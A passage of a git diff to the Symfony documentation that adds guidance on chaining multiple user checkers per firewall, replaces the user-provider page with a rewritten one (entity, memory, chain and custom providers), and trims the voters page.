xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -110,14 +113,154 @@ is the service id of your user checker: // config/packages/security.php use App\Security\UserChecker; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + ->pattern('^/') + ->userChecker(UserChecker::class) + // ... + ; + }; + +Using Multiple User Checkers +---------------------------- + +It is common for applications to have multiple authentication entry points (such as +traditional form based login and an API) which may have unique checker rules for each +entry point as well as common rules for all entry points. To allow using multiple user +checkers on a firewall, a service for the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserChecker` +class is created for each firewall. + +To use the chain user checker, first you will need to tag your user checker services with the +``security.user_checker.<firewall>`` tag (where ``<firewall>`` is the name of the firewall +in your security configuration). The service tag also supports the priority attribute, allowing you to define the +order in which user checkers are called:: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + + # ... + services: + App\Security\AccountEnabledUserChecker: + tags: + - { name: security.user_checker.api, priority: 10 } + - { name: security.user_checker.main, priority: 10 } + + App\Security\APIAccessAllowedUserChecker: + tags: + - { name: security.user_checker.api, priority: 5 } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <service id="App\Security\AccountEnabledUserChecker"> + <tag name="security.user_checker.api" priority="10"/> + <tag name="security.user_checker.main" priority="10"/> + </service> + + <service id="App\Security\APIAccessAllowedUserChecker"> + <tag name="security.user_checker.api" priority="5"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Security\AccountEnabledUserChecker; + use App\Security\APIAccessAllowedUserChecker; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + $services->set(AccountEnabledUserChecker::class) + ->tag('security.user_checker.api', ['priority' => 10]) + ->tag('security.user_checker.main', ['priority' => 10]); + + $services->set(APIAccessAllowedUserChecker::class) + ->tag('security.user_checker.api', ['priority' => 5]); + }; + +Once your checker services are tagged, next you will need configure your firewalls to use the +``security.user_checker.chain.<firewall>`` service:: + +.. configuration-block:: + + .. code-block:: yaml - $container->loadFromExtension('security', [ + # config/packages/security.yaml + + # ... + security: + firewalls: + api: + pattern: ^/api + user_checker: security.user_checker.chain.api + # ... + main: + pattern: ^/ + user_checker: security.user_checker.chain.main + # ... + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <firewall name="api" + pattern="^/api" + user-checker="security.user_checker.chain.api"> + <!-- ... --> + </firewall> + <firewall name="main" + pattern="^/" + user-checker="security.user_checker.chain.main"> + <!-- ... --> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... - 'firewalls' => [ - 'main' => [ - 'pattern' => '^/', - 'user_checker' => UserChecker::class, - // ... - ], - ], - ]); + $security->firewall('api') + ->pattern('^/api') + ->userChecker('security.user_checker.chain.api') + // ... + ; + + $security->firewall('main') + ->pattern('^/') + ->userChecker('security.user_checker.chain.main') + // ... + ; + }; diff --git a/security/user_provider.rst b/security/user_provider.rst deleted file mode 100644 index 000a7a49a38..00000000000 --- a/security/user_provider.rst +++ /dev/null @@ -1,522 +0,0 @@ -Security User Providers -======================= - -User providers are PHP classes related to Symfony Security that have two jobs: - -**Reload the User from the Session** - At the beginning of each request (unless your firewall is ``stateless``), Symfony - loads the ``User`` object from the session. To make sure it's not out-of-date, - the user provider "refreshes it". The Doctrine user provider, for example, - queries the database for fresh data. Symfony then checks to see if the user - has "changed" and de-authenticates the user if they have (see :ref:`user_session_refresh`). - -**Load the User for some Feature** - Some features, like :doc:`user impersonation </security/impersonating_user>`, - :doc:`Remember Me </security/remember_me>` and many of the built-in - :doc:`authentication providers </security/auth_providers>`, use the user provider - to load a User object via its "username" (or email, or whatever field you want). - -Symfony comes with several built-in user providers: - -* :ref:`Entity User Provider <security-entity-user-provider>` (loads users from - a database); -* :ref:`LDAP User Provider <security-ldap-user-provider>` (loads users from a - LDAP server); -* :ref:`Memory User Provider <security-memory-user-provider>` (loads users from - a configuration file); -* :ref:`Chain User Provider <security-chain-user-provider>` (merges two or more - user providers into a new user provider). - -The built-in user providers cover all the needs for most applications, but you -can also create your own :ref:`custom user provider <custom-user-provider>`. - -.. _security-entity-user-provider: - -Entity User Provider --------------------- - -This is the most common user provider for traditional web applications. Users -are stored in a database and the user provider uses :doc:`Doctrine </doctrine>` -to retrieve them: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - # ... - - providers: - users: - entity: - # the class of the entity that represents users - class: 'App\Entity\User' - # the property to query by - e.g. username, email, etc - property: 'username' - # optional: if you're using multiple Doctrine entity - # managers, this option defines which one to use - # manager_name: 'customer' - - # ... - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <config> - <provider name="users"> - <!-- 'class' is the entity that represents users and 'property' - is the entity property to query by - e.g. username, email, etc --> - <entity class="App\Entity\User" property="username"/> - - <!-- optional: if you're using multiple Doctrine entity - managers, this option defines which one to use --> - <!-- <entity class="App\Entity\User" property="username" - manager-name="customer"/> --> - </provider> - - <!-- ... --> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Entity\User; - - $container->loadFromExtension('security', [ - 'providers' => [ - 'users' => [ - 'entity' => [ - // the class of the entity that represents users - 'class' => User::class, - // the property to query by - e.g. username, email, etc - 'property' => 'username', - // optional: if you're using multiple Doctrine entity - // managers, this option defines which one to use - // 'manager_name' => 'customer', - ], - ], - ], - - // ... - ]); - -The ``providers`` section creates a "user provider" called ``users`` that knows -how to query from your ``App\Entity\User`` entity by the ``username`` property. -You can choose any name for the user provider, but it's recommended to pick a -descriptive name because this will be later used in the firewall configuration. - -.. _authenticating-someone-with-a-custom-entity-provider: - -Using a Custom Query to Load the User -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The ``entity`` provider can only query from one *specific* field, specified by -the ``property`` config key. If you want a bit more control over this - e.g. you -want to find a user by ``email`` *or* ``username``, you can do that by making -your ``UserRepository`` implement the -:class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This -interface only requires one method: ``loadUserByUsername($username)``:: - - // src/Repository/UserRepository.php - namespace App\Repository; - - use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository; - use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface; - - class UserRepository extends ServiceEntityRepository implements UserLoaderInterface - { - // ... - - public function loadUserByUsername($usernameOrEmail) - { - $entityManager = $this->getEntityManager(); - - return $entityManager->createQuery( - 'SELECT u - FROM App\Entity\User u - WHERE u.username = :query - OR u.email = :query' - ) - ->setParameter('query', $usernameOrEmail) - ->getOneOrNullResult(); - } - } - -To finish this, remove the ``property`` key from the user provider in -``security.yaml``: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - providers: - users: - entity: - class: App\Entity\User - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - - <provider name="users"> - <entity class="App\Entity\User"/> - </provider> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Entity\User; - - $container->loadFromExtension('security', [ - // ... - - 'providers' => [ - 'users' => [ - 'entity' => [ - 'class' => User::class, - ], - ], - ], - ]); - -This tells Symfony to *not* query automatically for the User. Instead, when -needed (e.g. because :doc:`user impersonation </security/impersonating_user>`, -:doc:`Remember Me </security/remember_me>`, or some other security feature is -activated), the ``loadUserByUsername()`` method on ``UserRepository`` will be called. - -.. _security-memory-user-provider: - -Memory User Provider --------------------- - -It's not recommended to use this provider in real applications because of its -limitations and how difficult it is to manage users. It may be useful in application -prototypes and for limited applications that don't store users in databases. - -This user provider stores all user information in a configuration file, -including their passwords. That's why the first step is to configure how these -users will encode their passwords: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - encoders: - # this internal class is used by Symfony to represent in-memory users - Symfony\Component\Security\Core\User\User: 'auto' - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd" - > - <config> - <!-- ... --> - - <!-- this internal class is used by Symfony to represent in-memory users --> - <encoder class="Symfony\Component\Security\Core\User\User" - algorithm="auto" - /> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - - // this internal class is used by Symfony to represent in-memory users - use Symfony\Component\Security\Core\User\User; - - $container->loadFromExtension('security', [ - // ... - 'encoders' => [ - User::class => [ - 'algorithm' => 'auto', - ], - ], - ]); - -Then, run this command to encode the plain text passwords of your users: - -.. code-block:: terminal - - $ php bin/console security:encode-password - -Now you can configure all the user information in ``config/packages/security.yaml``: - -.. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - providers: - backend_users: - memory: - users: - john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] } - jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] } - -.. caution:: - - When using a ``memory`` provider, and not the ``auto`` algorithm, you have - to choose an encoding without salt (i.e. ``bcrypt``). - -.. _security-ldap-user-provider: - -LDAP User Provider ------------------- - -This user provider requires installing certain dependencies and using some -special authentication providers, so it's explained in a separate article: -:doc:`/security/ldap`. - -.. _security-chain-user-provider: - -Chain User Provider -------------------- - -This user provider combines two or more of the other provider types (``entity``, -``memory`` and ``ldap``) to create a new user provider. The order in which -providers are configured is important because Symfony will look for users -starting from the first provider and will keep looking for in the other -providers until the user is found: - -.. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - providers: - backend_users: - memory: - # ... - - legacy_users: - entity: - # ... - - users: - entity: - # ... - - all_users: - chain: - providers: ['legacy_users', 'users', 'backend_users'] - -.. _custom-user-provider: - -Creating a Custom User Provider -------------------------------- - -Most applications don't need to create a custom provider. If you store users in -a database, a LDAP server or a configuration file, Symfony supports that. -However, if you're loading users from a custom location (e.g. via an API or -legacy database connection), you'll need to create a custom user provider. - -First, make sure you've followed the :doc:`Security Guide </security>` to create -your ``User`` class. - -If you used the ``make:user`` command to create your ``User`` class (and you -answered the questions indicating that you need a custom user provider), that -command will generate a nice skeleton to get you started:: - - // src/Security/UserProvider.php - namespace App\Security; - - use Symfony\Component\Security\Core\Exception\UnsupportedUserException; - use Symfony\Component\Security\Core\Exception\UsernameNotFoundException; - use Symfony\Component\Security\Core\User\UserInterface; - use Symfony\Component\Security\Core\User\UserProviderInterface; - - class UserProvider implements UserProviderInterface - { - /** - * Symfony calls this method if you use features like switch_user - * or remember_me. - * - * If you're not using these features, you do not need to implement - * this method. - * - * @return UserInterface - * - * @throws UsernameNotFoundException if the user is not found - */ - public function loadUserByUsername($username) - { - // Load a User object from your data source or throw UsernameNotFoundException. - // The $username argument may not actually be a username: - // it is whatever value is being returned by the getUsername() - // method in your User class. - throw new \Exception('TODO: fill in loadUserByUsername() inside '.__FILE__); - } - - /** - * Refreshes the user after being reloaded from the session. - * - * When a user is logged in, at the beginning of each request, the - * User object is loaded from the session and then this method is - * called. Your job is to make sure the user's data is still fresh by, - * for example, re-querying for fresh User data. - * - * If your firewall is "stateless: true" (for a pure API), this - * method is not called. - * - * @return UserInterface - */ - public function refreshUser(UserInterface $user) - { - if (!$user instanceof User) { - throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user))); - } - - // Return a User object after making sure its data is "fresh". - // Or throw a UsernameNotFoundException if the user no longer exists. - throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__); - } - - /** - * Tells Symfony to use this provider for this User class. - */ - public function supportsClass($class) - { - return User::class === $class || is_subclass_of($class, User::class); - } - } - -Most of the work is already done! Read the comments in the code and update the -TODO sections to finish the user provider. When you're done, tell Symfony about -the user provider by adding it in ``security.yaml``: - -.. code-block:: yaml - - # config/packages/security.yaml - security: - providers: - # the name of your user provider can be anything - your_custom_user_provider: - id: App\Security\UserProvider - -Lastly, update the ``config/packages/security.yaml`` file to set the -``provider`` key to ``your_custom_user_provider`` in all the firewalls which -will use this custom user provider. - -.. _user_session_refresh: - -Understanding how Users are Refreshed from the Session ------------------------------------------------------- - -At the end of every request (unless your firewall is ``stateless``), your -``User`` object is serialized to the session. At the beginning of the next -request, it's deserialized and then passed to your user provider to "refresh" it -(e.g. Doctrine queries for a fresh user). - -Then, the two User objects (the original from the session and the refreshed User -object) are "compared" to see if they are "equal". By default, the core -``AbstractToken`` class compares the return values of the ``getPassword()``, -``getSalt()`` and ``getUsername()`` methods. If any of these are different, your -user will be logged out. This is a security measure to make sure that malicious -users can be de-authenticated if core user data changes. - -However, in some cases, this process can cause unexpected authentication problems. -If you're having problems authenticating, it could be that you *are* authenticating -successfully, but you immediately lose authentication after the first redirect. - -In that case, review the serialization logic (e.g. ``SerializableInterface``) if -you have any, to make sure that all the fields necessary are serialized. - -Comparing Users Manually with EquatableInterface ------------------------------------------------- - -Or, if you need more control over the "compare users" process, make your User class -implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`. -Then, your ``isEqualTo()`` method will be called when comparing users. - -Injecting a User Provider in your Services ------------------------------------------- - -Symfony defines several services related to user providers: - -.. code-block:: terminal - - $ php bin/console debug:container user.provider - - Select one of the following services to display its information: - [0] security.user.provider.in_memory - [1] security.user.provider.ldap - [2] security.user.provider.chain - ... - -Most of these services are abstract and cannot be injected in your services. -Instead, you must inject the normal service that Symfony creates for each of -your user providers. The names of these services follow this pattern: -``security.user.provider.concrete.<your-provider-name>``. - -For example, if you are :doc:`building a form login </security/form_login_setup>` -and want to inject in your ``LoginFormAuthenticator`` a user provider of type -``memory`` and called ``backend_users``, do the following:: - - // src/Security/LoginFormAuthenticator.php - namespace App\Security; - - use Symfony\Component\Security\Core\User\InMemoryUserProvider; - use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator; - - class LoginFormAuthenticator extends AbstractFormLoginAuthenticator - { - private $userProvider; - - // change the 'InMemoryUserProvider' type-hint in the constructor if - // you are injecting a different type of user provider - public function __construct(InMemoryUserProvider $userProvider, /* ... */) - { - $this->userProvider = $userProvider; - // ... - } - } - -Then, inject the concrete service created by Symfony for the ``backend_users`` -user provider: - -.. code-block:: yaml - - # config/services.yaml - services: - # ... - - App\Security\LoginFormAuthenticator: - $userProvider: '@security.user.provider.concrete.backend_users' diff --git a/security/user_providers.rst b/security/user_providers.rst new file mode 100644 index 00000000000..73b723faaaf --- /dev/null +++ b/security/user_providers.rst @@ -0,0 +1,508 @@ +User Providers +============== + +User providers (re)load users from a storage (e.g. a database) based on a +"user identifier" (e.g. the user's email address or username). See +:ref:`security-user-providers` for more detailed information when a user +provider is used. + +Symfony provides several user providers: + +:ref:`Entity User Provider <security-entity-user-provider>` + Loads users from a database using :doc:`Doctrine </doctrine>`; +:ref:`LDAP User Provider <security-ldap-user-provider>` + Loads users from a LDAP server; +:ref:`Memory User Provider <security-memory-user-provider>` + Loads users from a configuration file; +:ref:`Chain User Provider <security-chain-user-provider>` + Merges two or more user providers into a new user provider. + +.. _security-entity-user-provider: + +Entity User Provider +-------------------- + +This is the most common user provider. Users are stored in a database and +the user provider uses :doc:`Doctrine </doctrine>` to retrieve them. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + providers: + users: + entity: + # the class of the entity that represents users + class: 'App\Entity\User' + # the property to query by - e.g. email, username, etc + property: 'email' + + # optional: if you're using multiple Doctrine entity + # managers, this option defines which one to use + #manager_name: 'customer' + + # ... + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <config> + <provider name="users"> + <!-- class: the class of the entity that represents users + property: the property to query by - e.g. email, username, etc--> + <entity class="App\Entity\User" property="email"/> + + <!-- optional, if you're using multiple Doctrine entity + managers, "manager-name" defines which one to use --> + <!-- <entity class="App\Entity\User" property="email" + manager-name="customer"/> --> + </provider> + + <!-- ... --> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $security->provider('app_user_provider') + ->entity() + ->class(User::class) + ->property('email') + ; + }; + +.. _authenticating-someone-with-a-custom-entity-provider: + +Using a Custom Query to Load the User +..................................... + +The entity provider can only query from one *specific* field, specified by +the ``property`` config key. If you want a bit more control over this - e.g. you +want to find a user by ``email`` *or* ``username``, you can do that by +implementing :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface` +in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``):: + + // src/Repository/UserRepository.php + namespace App\Repository; + + use App\Entity\User; + use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository; + use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface; + + class UserRepository extends ServiceEntityRepository implements UserLoaderInterface + { + // ... + + public function loadUserByIdentifier(string $usernameOrEmail): ?User + { + $entityManager = $this->getEntityManager(); + + return $entityManager->createQuery( + 'SELECT u + FROM App\Entity\User u + WHERE u.username = :query + OR u.email = :query' + ) + ->setParameter('query', $usernameOrEmail) + ->getOneOrNullResult(); + } + } + +To finish this, remove the ``property`` key from the user provider in +``security.yaml``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + providers: + users: + entity: + class: App\Entity\User + + # ... + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <provider name="users"> + <entity class="App\Entity\User"/> + </provider> + + <!-- ... --> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $security->provider('app_user_provider') + ->entity() + ->class(User::class) + ; + }; + +Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()`` +method on your ``UserRepository`` will be called. + +.. _security-memory-user-provider: + +Memory User Provider +-------------------- + +It's not recommended to use this provider in real applications because of its +limitations and how difficult it is to manage users. It may be useful in application +prototypes and for limited applications that don't store users in databases. + +This user provider stores all user information in a configuration file, +including their passwords. Make sure the passwords are hashed properly. See +:doc:`/security/passwords` for more information. + +After setting up hashing, you can configure all the user information in +``security.yaml``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + providers: + backend_users: + memory: + users: + john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] } + jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] } + + # ... + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <provider name="app_user_provider2"> + <memory> + <user identifier="john_admin" password="$2y$13$jxGxc ... IuqDju" roles="ROLE_ADMIN"/> + <user identifier="jane_admin" password="$2y$13$PFi1I ... rGwXCZ" roles="ROLE_ADMIN, ROLE_SUPER_ADMIN"/> + </memory> + </provider> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $memoryProvider = $security->provider('app_user_provider')->memory(); + $memoryProvider + ->user('john_admin') + ->password('$2y$13$jxGxc ... IuqDju') + ->roles(['ROLE_ADMIN']) + ; + + $memoryProvider + ->user('jane_admin') + ->password('$2y$13$PFi1I ... rGwXCZ') + ->roles(['ROLE_ADMIN', 'ROLE_SUPER_ADMIN']) + ; + }; + +.. warning:: + + When using a ``memory`` provider, and not the ``auto`` algorithm, you have + to choose an encoding without salt (i.e. ``bcrypt``). + +.. _security-chain-user-provider: + +Chain User Provider +------------------- + +This user provider combines two or more of the other providers +to create a new user provider. The order in which +providers are configured is important because Symfony will look for users +starting from the first provider and will keep looking for in the other +providers until the user is found: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + providers: + backend_users: + ldap: + # ... + + legacy_users: + entity: + # ... + + users: + entity: + # ... + + all_users: + chain: + providers: ['legacy_users', 'users', 'backend_users'] + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <provider name="backend_users"> + <ldap service="..." base-dn="..."/> + </provider> + + <provider name="legacy_users"> + <entity> + <!-- ... --> + </entity> + </provider> + + <provider name="users"> + <entity> + <!-- ... --> + </entity> + </provider> + + <provider name="all_users"> + <chain> + <provider>backend_users</provider> + <provider>legacy_users</provider> + <provider>users</provider> + </chain> + </provider> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $security->provider('backend_users') + ->ldap() + // ... + ; + + $security->provider('legacy_users') + ->entity() + // ... + ; + + $security->provider('users') + ->entity() + // ... + ; + + $security->provider('all_users')->chain() + ->providers(['backend_users', 'legacy_users', 'users']) + ; + }; + +.. _security-custom-user-provider: + +Creating a Custom User Provider +------------------------------- + +Most applications don't need to create a custom provider. If you store users in +a database, a LDAP server or a configuration file, Symfony supports that. +However, if you're loading users from a custom location (e.g. via an API or +legacy database connection), you'll need to create a custom user provider. + +First, make sure you've followed the :doc:`Security Guide </security>` to create +your ``User`` class. + +If you used the ``make:user`` command to create your ``User`` class (and you +answered the questions indicating that you need a custom user provider), that +command will generate a nice skeleton to get you started:: + + // src/Security/UserProvider.php + namespace App\Security; + + use Symfony\Component\Security\Core\Exception\UnsupportedUserException; + use Symfony\Component\Security\Core\Exception\UserNotFoundException; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; + use Symfony\Component\Security\Core\User\UserInterface; + use Symfony\Component\Security\Core\User\UserProviderInterface; + + class UserProvider implements UserProviderInterface, PasswordUpgraderInterface + { + /** + * Symfony calls this method if you use features like switch_user + * or remember_me. If you're not using these features, you do not + * need to implement this method. + * + * @throws UserNotFoundException if the user is not found + */ + public function loadUserByIdentifier(string $identifier): UserInterface + { + // Load a User object from your data source or throw UserNotFoundException. + // The $identifier argument is whatever value is being returned by the + // getUserIdentifier() method in your User class. + throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__); + } + + /** + * Refreshes the user after being reloaded from the session. + * + * When a user is logged in, at the beginning of each request, the + * User object is loaded from the session and then this method is + * called. Your job is to make sure the user's data is still fresh by, + * for example, re-querying for fresh User data. + * + * If your firewall is "stateless: true" (for a pure API), this + * method is not called. + */ + public function refreshUser(UserInterface $user): UserInterface + { + if (!$user instanceof User) { + throw new UnsupportedUserException(sprintf('Invalid user class "%s".', $user::class)); + } + + // Return a User object after making sure its data is "fresh". + // Or throw a UserNotFoundException if the user no longer exists. + throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__); + } + + /** + * Tells Symfony to use this provider for this User class. + */ + public function supportsClass(string $class): bool + { + return User::class === $class || is_subclass_of($class, User::class); + } + + /** + * Upgrades the hashed password of a user, typically for using a better hash algorithm. + */ + public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void + { + // TODO: when hashed passwords are in use, this method should: + // 1. persist the new password in the user storage + // 2. update the $user object with $user->setPassword($newHashedPassword); + } + } + +Most of the work is already done! Read the comments in the code and update the +TODO sections to finish the user provider. When you're done, tell Symfony about +the user provider by adding it in ``security.yaml``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + providers: + # the name of your user provider can be anything + your_custom_user_provider: + id: App\Security\UserProvider + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <provider name="your_custom_user_provider" id="App\Security\UserProvider"> + <!-- ... --> + </provider> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\UserProvider; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $customProvider = $security->provider('your_custom_user_provider') + ->id(UserProvider::class) + // ... + ; + }; + +Lastly, update the ``config/packages/security.yaml`` file to set the +``provider`` key to ``your_custom_user_provider`` in all the firewalls which +will use this custom user provider. diff --git a/security/voters.rst b/security/voters.rst index 8970289aaff..e621263abb4 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Data Permission Voters - .. _security/custom-voter: How to Use Voters to Check User Permissions @@ -24,24 +21,15 @@ this could look like, if you want to make a route accessible to the "owner" only In that sense, the following example used throughout this page is a minimal example for voters. -.. tip:: - - Take a look at the - :doc:`authorization </components/security/authorization>` - article for an even deeper understanding on voters. - -Here's how Symfony works with voters: -All voters are called each time you use the ``isGranted()`` method on Symfony's -authorization checker or call ``denyAccessUnlessGranted()`` in a controller (which -uses the authorization checker), or by -:ref:`access controls <security-access-control-enforcement-options>`. +Here's how Symfony works with voters: All voters are called each time you +use the ``isGranted()`` method on Symfony's authorization checker or call +``denyAccessUnlessGranted()`` in a controller (which uses the authorization +checker), or by :ref:`access controls <security-access-control-enforcement-options>`. Ultimately, Symfony takes the responses from all voters and makes the final -decision (to allow or deny access to the resource) according to the strategy defined -in the application, which can be: affirmative, consensus, unanimous or priority. - -For more information take a look at -:ref:`the section about access decision managers <components-security-access-decision-manager>`. +decision (to allow or deny access to the resource) according to +:ref:`the strategy defined in the application <security-voters-change-strategy>`, +which can be: affirmative, consensus, unanimous or priority. The Voter Interface ------------------- @@ -52,14 +40,20 @@ or extend :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\Vote which makes creating a voter even easier:: use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Authorization\Voter\Vote; use Symfony\Component\Security\Core\Authorization\Voter\VoterInterface; abstract class Voter implements VoterInterface { - abstract protected function supports(string $attribute, $subject); - abstract protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token); + abstract protected function supports(string $attribute, mixed $subject): bool; + abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool; } +.. versionadded:: 7.3 + + The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced + in Symfony 7.3. + .. _how-to-use-the-voter-in-a-controller: 